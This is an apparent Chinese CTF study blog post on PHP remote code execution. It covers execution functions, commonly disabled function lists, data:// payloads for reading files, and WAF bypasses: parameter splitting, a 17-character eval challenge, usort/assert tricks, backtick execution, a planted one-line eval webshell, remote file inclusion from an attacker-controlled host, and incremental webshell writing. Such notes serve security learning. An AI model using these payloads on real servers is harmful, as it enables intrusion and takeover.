RCE
PHP命令执行函数:
system(),exec(),shell_exec(),pcntl_exec(),popen(),proc_popen(),passthru()等
常被禁用的函数: exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
一、函数
简介
RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
assert
// PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
// PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
//参数 assertion 既支持表达式,也支持表达式字符串(某些特定的场景会用到,比如判断某个字符串表达式是否合法)
版本的不兼容
PHP >= 5.4.8,description 可作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数
在 PHP 5 中,参数 assertion(断言) 必须是可执行的字符串,或者运行结果为布尔值的表达式
在 PHP 7 中,参数 assertion 可以是任意表达式,并用其运算结果作为断言的依据
在 PHP 7 中,参数 exception 可以是个 Throwable 对象,用于捕获表达式运行错误或断言结果为失败。(当然 assert.exception 需开启)
PHP >= 7.0.0,支持 zend.assertions、assert.exception 相关配置及其特性
PHP >= 7.2 版本开始,参数 assertion 不再支持字符串
php函数替代
php中的'ls':
scandir(directory,sorting_order,context); 函数返回指定目录中的文件和目录的数组。
directory:必需,规定要扫描的目录。
利用data伪协议:
?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
其他php常用函数
1. getcwd() 返回当前目录的路径,但是不回显,需要 echo 或者 print 来输出
2. glob($pattern, $flags):根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式,支持 * 和 ? 等通配符,例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录,可以使用 * 作为通配符。$flags 参数是一个可选参数,用于设置匹配模式和排序规则等。
3. chdir() :函数改变当前的目录。
4. hightlight_file() 、 show_source() 、 readfile():读取文件内容
5. dirname() :函数返回路径中的目录部分
7. file_get_contents($filename) 是 PHP 中一个常用的文件操作函数,它可以返回指定文件的内容
Payload:?page=data://text/plain,<?php $a=file_get_contents('flag.php'); echo $a; ?>
6. htmlspecialchars(string)返回string中的除html标签以外的字符串
7. localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
其他:
1.array_reverse():将数组内容反转
2.strrev():用于反转给定字符串
3.current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
4.session_id() 获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西 // 需要开启session_start()
5.strtolower() 字符串字母转小写
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
preg_match_all
//代码执行
preg_match_all(
string $pattern,
string $subject,
array &$matches = null,
int $flags = 0,
int $offset = 0
): int|false|null
参数
pattern
要搜索的模式,字符串形式。
subject
输入字符串。
matches
多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。
flags
可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):
PREG_PATTERN_ORDER
结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
因此下列情况中
(!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array))
可以将rce代码输入到$pat_array中。
shell_exec
shell_exec函数会返回执行结果的全部内容,但是只有返回值没有回显。
shell_exec 与``作用相同,但无回显,需要echo或其他的输出函数使得其回显
#类似的函数:
exec 函数,无回显
exec($cmd,$output,$status); //cmd是命令,output储存输出结果,status是执行状态码
print_r($output);
exec
exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果你想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。
string exec ( string $command [, array &$output [, int &$return_var ]] )
<?php
exec('ls /home/xyw/test',$arr);
print_r($arr);
?>
passthru
与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。
<?php
$result=passthru("cat /flag");
echo $result; # null
#可以使用system进行返回
$result=system("cat /flag");
echo $result; # flag{manbaout}
二、绕过Waf
分隔参数绕过
eval($_GET['cmd']);
?cmd=$_POST[1]($_POST[2]);
1=system&2=whoami
长度限制
十七字符RCE
<?php
//sleep(100);
if(isset($_REQUEST['code'])){
$code=$_REQUEST['code'];
if(strlen($code)<17 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
eval($code);
}else{
echo "the length is wrong";
}
}else{
highlight_file(__FILE__);
}
?>
unsort
绕过方法:
usort绕过:usort(array,my_function):bool,使用用户自定义的函数(返回一个bool值)对数组中的值进行比较,并对数组中值进行排序
条件:php版本<7.2(PHP >= 7.2 版本开始,断言不再支持字符串)
//…运算符,对就是三个点,该运算符可以将数组(必须是索引数组)或者可遍历的对象展开变为参数
pyload:code=usort(...$_GET); (post)
?1[]=test&1[]=phpinfo();&2=assert (get)
//相当于用assert取处理前面数组里面的每一个值,类似于:usort(['test','phpinfo()'],'assert')
反引号
php中的反引号
PHP执行运算符 :PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符`的效果与函数 shell_exec() 相同。
在 PHP 中,反引号(`)被用作命令替换符号,它的作用是执行命令并获取其输出。当反引号包围的内容被执行时,PHP 将使用操作系统的命令解释器来执行该命令,并将命令的输出作为字符串返回。
注意:
关闭了 shell_exec() 时反引号运算符是无效的。
pyload:
code=echo `$_GET[1]`;&1=id
编写一句话木马
?code=echo `$_GET[1]`;&1=touch len1.php
?code=echo `$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > len1.php
远程文件包含的利用
正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。
不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。
这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。
include包含的所有文件都以php格式运行。
code=include$_GET[1];&1=//192.168.xxx.xxx//get.php
本地文件包含的利用
思路:向服务器写入文件并包含
利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
?code=$_GET[a](N,a,8);&a=file_put_contents
原理:file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了 file_put_contents , error_log 函数效果也类似。
但这个方法有个问题,就是 file_put_contents 第二个参数如果是符号,就会导致PHP出错,比如 :
?code=$_GET[a](N,<,8);&a=file_put_contents。
但如果要写webshell的话,“<”等符号又是必不可少的。
于是微博上 @买贴膜的 想出一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。(难他天)
标签:echo,flag,数组,RCE,FF%,php,绕过
From: https://www.cnblogs.com/ctfer001/p/18585033